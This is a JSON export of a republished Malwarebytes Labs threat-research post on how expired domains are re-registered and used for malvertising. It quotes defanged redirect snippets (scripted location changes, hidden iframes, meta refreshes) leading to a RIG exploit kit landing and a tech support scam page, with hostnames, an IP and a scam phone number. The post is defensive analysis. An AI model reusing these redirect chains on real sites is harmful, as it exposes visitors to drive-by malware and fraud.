{"id":9087,"date":"2017-09-05T08:10:35","date_gmt":"2017-09-05T16:10:35","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/09\/05\/news-2860\/"},"modified":"2017-09-05T08:10:35","modified_gmt":"2017-09-05T16:10:35","slug":"news-2860","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/09\/05\/news-2860\/","title":{"rendered":"Expired domain names and malvertising"},"content":{"rendered":"

Credit to Author: J\u00e9r\u00f4me Segura| Date: Tue, 05 Sep 2017 15:00:08 +0000<\/strong><\/p>\n

In Q1<\/a> and Q2<\/a> of 2017, we noticed a sharp decline in drive-by downloads coming from compromised websites. The campaigns of the past are either gone (Pseudo Darkleech<\/a>) or have changed focus (EITest using social engineering techniques<\/a>).<\/p>\n

Malvertising – which has remained steady and is currently the main driving force behind some of the most common malware and scam distribution operations- not only stems from various publishers but also from ‘abandoned’ websites. Those related domains once served a legitimate purpose but were never renewed by their owners and fell into the hands of actors looking to make a quick profit using questionable practices.<\/p>\n

In this post, we take a look at how malicious redirections from expired domains work and what kind of traffic they lead to.<\/p>\n

The life, death, and resurrection of a domain name<\/h3>\n

Most issues when it comes to web security don’t usually come from the platforms themselves but from the people that run them or from properties that have simply been relinquished. The folks over at Sucuri have written about this extensively and in a recent post<\/a>, they showed how expired domains and outdated plugins in popular CMS were a deadly mix, resulting in malicious redirects.<\/p>\n

Here is an example of a website, oezelotel[.]com<\/em> first registered to denizduezguen@yahoo.de<\/em>\u00a0on 03\/10\/2014, that once was advertising various hotels, was wiped in 2016, and eventually got parked as its domain name registration was never renewed.<\/p>\n

\"\"<\/a><\/p>\n

Figure 1: Evolution of a website over time and its eventual expired domain name<\/em><\/p>\n

New owner, clear motive<\/h3>\n

A historical whois<\/em>\u00a0on the parked domain courtesy of Hyas’ Comox<\/a> shows that on June 4, 2017, the domain name changed hands from its original owner to\u00a0domainmanagers@outlook.com<\/em>. This is also when the site changed hosting (moving from a Germany based server to a US one) and began exhibiting its malicious behavior.<\/p>\n

\"\"<\/a><\/p>\n

A cursory review of some other properties owned by the same registrant indicates a penchant for going after expired domains and monetizing them via dubious ad networks. DomainTools has over 23 K records<\/a><\/strong> belonging to that same email address.<\/p>\n

\"\"<\/a><\/p>\n

Malvertising roulette<\/h3>\n

You might think a non-existent site is harmless but this couldn’t be further from the truth. Abandoned or forgotten domains are often registered and ‘parked’ to generate low-quality traffic (i.e. spammy links) as described in yet another blog post<\/a> from Sucuri, and it is a real – lucrative – business model.<\/p>\n

We observed different types of traffic, ranging from bogus surveys to more nefarious activity such as drive-by attacks and tech support scams, based on\u00a0a visitor’s user agent. Note that the following examples did not require users to click on any link, the simple fact of visiting the site triggered an automatic redirection.<\/p>\n

RIG EK Flow:<\/h4>\n

\"\"<\/a><\/p>\n

Figure 2: RIG exploit kit infection chain via the Fobos campaign that delivers the Bunitu Trojan<\/a>.<\/em><\/p>\n

oezelotel[.]com (parked site) -> xml1.limeclick[.]com<\/strong>  <html><head><title>Loading<\/title><\/head>   <body><script>location.href='http:\/\/xml1.limeclick[.]com  \/click?i=SXRzS*SmiP4_0';<\/script><\/body><\/html>    xml1.limeclick[.]com -> bingfreegames3[.]info  <\/strong><iframe frameborder='0' id='291733' src='http:\/\/212kjhguihkhbvd[.]cf\/  ssl\/index.php?ps=49506017476' width='313' height='313' dir='0' ><\/iframe>    212kjhguihkhbvd[.]cf -> 188.225.27.234 (RIG EK landing)<\/strong>  <iframe id=\"91130118\" width=278 double=\"1\" height=278 src=  \"http:\/\/188.225.27[.]234\/?NTkwNTc2&mano={redacted}\" >  <\/iframe>  <\/pre>\n
Tech Support Scam (TSS) flow:
 <\/strong><\/h4>\n
\"\"<\/a><\/p>\n
Figure 3: Redirection to tech support scam via blobar[.org]<\/em><\/p>\n
oezelotel[.]com (parked site) -> bougainvillaeabuffeting[.]com<\/strong>  <html><head><title>Loading<\/title><\/head>  <body><script>location.href='http:\/\/bougainvillaeabuffeting[.]com\/d\/  r5t9b73131?rtb={redacted}&subid=oezelotel.com';<\/script><\/body><\/html>    bougainvillaeabuffeting[.]com -> blobar[.]org<\/strong>  document.write('<META http-equiv=\"refresh\" content=\"0;url='+u+'\">');  <\/SCRIPT><NOSCRIPT><META http-equiv=\"refresh\" content=\"0;url=  https:\/\/blobar.org\/d\/0&rtb={redacted}&subid=oezelotel.com&r=  http%3A%2F%2Foezelotel.com%2F\"><\/NOSCRIPT>  <META name=\"referrer\" content=\"no-referrer\">    blobar[.]org -> www.alrtsyscalling[.]cf (TSS landing)<\/strong>  Location: https:\/\/www.alrtsyscalling[.]cf\/call-microsoft-support-at-1-855-633-1666  <\/pre>\n
\"\"<\/a><\/p>\n
Figure 4: Browser locker serving a tech support scam page (IP address is hard coded in picture)<\/em><\/p>\n
Traffic and user targeting<\/h3>\n
These days it seems irrelevant how malicious actors get their leads, so long as they are genuine users they can expose to malware or scams. An advantage of using ad networks and malvertising is that a lot of the filtering can be handled throughout the distribution chain, with remarkable efficiency, compared to server side checks on compromised sites.<\/p>\n
Parked domains are one of many scenarios of hijacking traffic and monetizing it. While those practices raise eyebrows, are they actually illegal? Is it something that domain name registrars should enforce or ban? Those are interesting questions worth debating.<\/p>\n
Malwarebytes<\/a> blocks a lot of domains associated with malvertising as well as drive-by download attempts. Because we are witnessing more and more social engineering attacks, we highly recommend you spread the word about one of the most common scams today, the tech support scam<\/a>.<\/p>\n
The post Expired domain names and malvertising<\/a> appeared first on Malwarebytes Labs<\/a>.<\/p>\n
https:\/\/blog.malwarebytes.com\/feed\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Credit to Author: J\u00e9r\u00f4me Segura| Date: Tue, 05 Sep 2017 15:00:08 +0000<\/strong><\/p>\n\n\n\n
<\/a><\/td>\n<\/tr>\n
A look at how expired domain names can be turned into a lucrative malicious traffic redirection tool.<\/p>\n
Categories: <\/p>\n